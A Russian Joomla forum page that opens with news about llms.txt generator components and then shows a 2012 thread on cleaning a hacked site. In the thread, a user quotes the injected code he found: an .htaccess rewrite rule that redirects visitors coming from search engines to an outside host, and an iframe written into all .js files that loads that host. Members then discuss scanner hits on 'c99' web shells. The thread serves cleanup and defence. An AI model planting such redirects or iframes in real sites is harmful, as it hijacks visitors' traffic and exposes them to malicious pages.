Новости Joomla

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Ещё один генератор ИИ-файлов llms.txt и llms-full.txt.

Основные особенности/возможности компонента:

  • Генерация по стандарту: Автоматическое создание файла-визитки llms.txt и расширенной версии llms-full.txt с аннотированным списком материалов.
  • Интеллектуальная работа с контентом: Компонент использует мета-описания (Meta Description) из статей и пунктов меню, превращая SEO-настройки сайта в качественный контекст для нейросетей.
  • Просмотреть результат генерации файлов можно сразу в рабочей области компонента. После внесения корректив (через Настройки компонента. При отладке лучше открыть три вкладки в браузере: Настройка — Геренация/Превью — Список Материалов/Категории/Меню.) — проводим перегенерацию, смотрим результат до полной «победы».
  • Автоматизация и безопасность: Синхронизация с sitemap.xml, группировка по категориям и автоматическое создание резервных копий (.bak) при каждой генерации.
  • Гибкое управление: Возможность исключения определенных категорий и/или статей и/или пунктов меню, а также простая настройка через стандартную админпанель Joomla.
  • Подробное руководство/справка: Пошаговая инструкция для пользователя в Настройках компонента для редакторов с базовым знанием администрирования Joomla.

👉 Важно учесть.
1️⃣ Компонент Генератор LLMs.txt изначально составляет базовый список ссылок на основе sitemap.xml и сверяется с ним на предмет: запрета индексации url в robots.txt, тегов noinex/nofollow. Это экономит время на проверку «закрыть от индексации», поскольку компонент генерации Sitemap.xml уже реализовал эту задачу. Посему, формирование ссылок для ИИ имеет комплексный подход, составление грамотного/валидного/релевантного sitemap.xml никто не отменял.

2️⃣ Тексты-описания ссылок формируются из Meta Description com_content (только компонент Материалы) и выбранных пользователем Меню сайта. Важно, чтобы Meta Description были уникальными и релевантными, соответствовали базовому seo. Составленные «на отшибись» Description для ИИ — «не катит» (впрочем, для поисковых систем они тоже «не канали»).

Разработчик - участник нашего сообщества Александр Кузнецов (@newvksan).

Страница расширения

@joomlafeed

#joomla #ии #ai

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

Это Joomla-компонент для публикации AI-ready карты сайта и автоматической генерации файлов llms.txt, llms-full.txt и llms.json по концепции llmstxt.org.  Также о концепции llms.txt говорит Google в своей справке Lighthouse. Решение помогает LLM-моделям, AI-агентам, GEO/AI SEO-процессам и внутренним автоматизациям получать структурированные данные о сайте без ручной сборки JSON и Markdown.

С помощью WT LLMs можно:
- создать структурированное описание сайта для AI-агентов;
- управлять профилем сайта, картой интентов и каноническими страницами для этих интентов из админки Joomla;
- генерировать llms.txt и llms.json;
- использовать REST API для автоматического заполнения данных;
- отдавать публичную schema-инструкцию для AI-агентов;

В комплект компонента входит плагин markdown-версии страниц Joomla. Системный плагин Joomla, который добавляет альтернативное Markdown-представление страниц сайта. Он позволяет отдавать содержимое страницы в более чистом текстовом формате, удобном для AI-агентов, LLM, поисковых систем и технических интеграций.
Плагин добавляет в ссылки на AI-файлы.

Пакет подходит для сайтов на Joomla 5+, которым важно сделать контент понятнее для LLM, AI-поиска, ассистентов и будущих систем машинного чтения.

Видео:
- ВК Видео
- RuTube
- YouTube

Ссылки:
Страница расширения
GitHub

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 17 Ответов
  • 6335 Просмотров
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
Например, в .htaccess вот это появилось

Цитировать
^.*(duckduckgo|ask|google|dogpile|archive|clusty|mahalo|mywebsearch|blekko|lycos|webcrawler|info|infospace|search|excite|goodsearch|altavista|live|msn|aol|yahoo|youtube|wikipedia|infoseek|bing|facebook|twitter|myspace|linkedin|flickr|deviantart|livejournal|tagged|badoo|mylife|ning|pinterest)\.(.*)                                                                                          
                                                                                          RewriteRule ^(.*)$ http://xmlbasedautomaticupdate.pingpong-shop.info/gjhk.cgi?7 [R=301,L]

Во всех .js файлах это

Цитировать
document.write('<iframe src="http://xmlbasedautomaticupdate.pingpong-shop.info/gjhk.cgi?7"
scrolling="auto" frameborder="no" align="center" height="15" width="15"></iframe>');

Ссылка ведет на Google, вирусы на сайте не обнаружены...
Что это за хрень такая?
*

smart

  • Администратор
  • 6478
  • 1318 / 15
  • Хочешь сделать хорошо — сделай!
Ничего нового - у вас троян увел пароль от FTP... Как с этим бороться - читайте данный раздел, информации полно.
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
smart, а в чем смысл этого всего? Просто замедлить работу сайта?
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Слить траффик. Сканерами из темы в подписи проверьте свой сайт, а комп AVPTool.
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
Слить траффик. Сканерами из темы в подписи проверьте свой сайт, а комп AVPTool.
Даа... совсем я не в теме... Всё вручную почистил, а можно было скриптом.

Сканеры:
ai-bolit.php выдает 502 Bad Gateway

fls.php выдает кучу строк вида:
File: /home/host1232457/*****/htdocs/www/templates/gk_corporate2/libs/gk.template.helper.php
String:: $_POST[

wishlight, что мне с этим делать?

AVPTool в процессе...
-----------
Ничего не нашел
« Последнее редактирование: 04.11.2012, 16:31:06 от 4ort »
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
есть что-то кроме get и post?
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
Да, еще есть такие:

Цитировать
File: /home/host1232457/***/htdocs/www/administrator/components/com_content/admin.content.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_jcomments/admin.jcomments.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_k2/lib/class.upload.php
String:: phpinfo()

File: /home/host1232457/***/htdocs/www/administrator/components/com_k2/views/categories/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_k2/views/comments/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_k2/views/cpanel/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_k2/views/item/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_k2/views/users/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_phocadownload/views/phocadownloadusers/view.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_phocadownload/views/phocadownloadut/view.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_redj/views/errors/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_redj/views/referers/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_sh404sef/admin.sh404sef.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_swmenupro/admin.swmenupro.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_trash/admin.trash.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_akeeba/views/buadmin/view.html.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/administrator/components/com_hwdvideoshare/helpers/js.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/cache/mod_k2_content/1c9290c57d08b4fac3d3089b17b2f3e6.php
String:: c99

File: /home/host1232457/***/htdocs/www/cache/com_k2_extended/8f71b304f2f7eb6039db0c5539cd3959.php
String:: c99

File: /home/host1232457/***/htdocs/www/components/com_jcomments/tpl/default/tpl_comment.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/components/com_jcomments/tpl/gk_style/tpl_comment.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/components/com_k2/views/comments/tmpl/default.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/components/com_k2/views/item/tmpl/form.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/components/com_hwdvideoshare/assets/uploads/perl/ubr_file_upload.php
String:: phpinfo()

File: /home/host1232457/***/htdocs/www/components/com_hwdvideoshare/views/upload_perl.php
String:: phpinfo()

File: /home/host1232457/***/htdocs/www/components/com_hwdvideoshare/controller.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/libraries/joomla/html/toolbar/button/confirm.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/media/mod_vinaora_cu3er/config/demo1.xml.php
String:: c99

File: /home/host1232457/***/htdocs/www/plugins/system/osolcaptcha.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/templates/gk_corporate2/layouts/blocks/iphone/mainnav.php
String:: confirm(

File: /home/host1232457/***/htdocs/www/ai-bolit.php
String:: phpinfo()
*

Apple_Buy

  • Захожу иногда
  • 71
  • 1 / 0
  • Истина всегда рядом....
Все файлы которые помечены как String:: c99 заражены - это шеллы удаляйте их.

Спойлер
[свернуть]
« Последнее редактирование: 04.11.2012, 18:44:07 от Apple_Buy »
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
Вот полный лог:
Спойлер
[свернуть]
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
Все файлы которые помечены как String:: c99 заражены - это шеллы удаляйте их.
Вообще странно - я сравнил например этот файл /www/media/mod_vinaora_cu3er/config/demo1.xml.php с файлом из резервной копии незараженного сайта (перед выгрузкой на хостинг) - они идентичны.
----
p.s. остальные из папки кэша удалил.
« Последнее редактирование: 04.11.2012, 19:32:40 от 4ort »
*

Apple_Buy

  • Захожу иногда
  • 71
  • 1 / 0
  • Истина всегда рядом....
Вообще странно - я сравнил например этот файл /www/media/mod_vinaora_cu3er/config/demo1.xml.php с файлом из резервной копии незараженного сайта (перед выгрузкой на хостинг) - они идентичны.
----
p.s. остальные из папки кэша удалил.

Я бы не был на вашем месте так уверен что другой сайт не заражен, может быть он ждет своего часа. Модуль брали из какого источника? Посмотрите может быть есть новая версия и стоит обновить до последней.
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
Брал из бэкапа этого-же сайта - он больше года работал без каких либо признаков заражения. Модуль брал с сайта разработчиков - думаю, еслиб проблема была в модуле, заражение появилось бы в течении года работы. Новых версий для J1.5 нет.
*

WebDisaster

  • Захожу иногда
  • 108
  • 12 / 0
Брал из бэкапа этого-же сайта - он больше года работал без каких либо признаков заражения.
Это ничего не гарантирует. У меня шелл (судя по дате создания файла) пролежал несколько месяцев до того, как им начали пользоваться. Если Вы сами закинули себе шелл вместе с модулем, и он без "обратного звонка" хозяину (либо "звонки" уходили в никуда), шелл может найти бот, который тупо тычется в разные адреса в поисках известных дыр.
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
Вот содержимое этого файла (он небольшой) - что тут может указывать на шелл?
Из вики: "Шелл-код почти всегда содержит строку с именем оболочки" - что-нибудь в файле на это указывает?

Спойлер
[свернуть]

Просто если сносить этот модуль, то хоть по делу, а не на всякий случай...
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
обратите внимание на
Цитировать
File: /home/host1232457/***/htdocs/www/sxd/index.php
String:: $_POST['pass']
что там в файле?
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
что там в файле?
Sypex Dumper
Спойлер
[свернуть]
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
вы что скрип для дампа БД храните постоянно на хосте?
его как и все дополнительные скрипты заливают только для работы и потом сразу удаляют (к сканерам это тоже относиться)
*

4ort

  • Захожу иногда
  • 82
  • 0 / 0
вы что скрип для дампа БД храните постоянно на хосте?
Ээээ... Блин, да, хранил...
-------
Удалил всё...
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться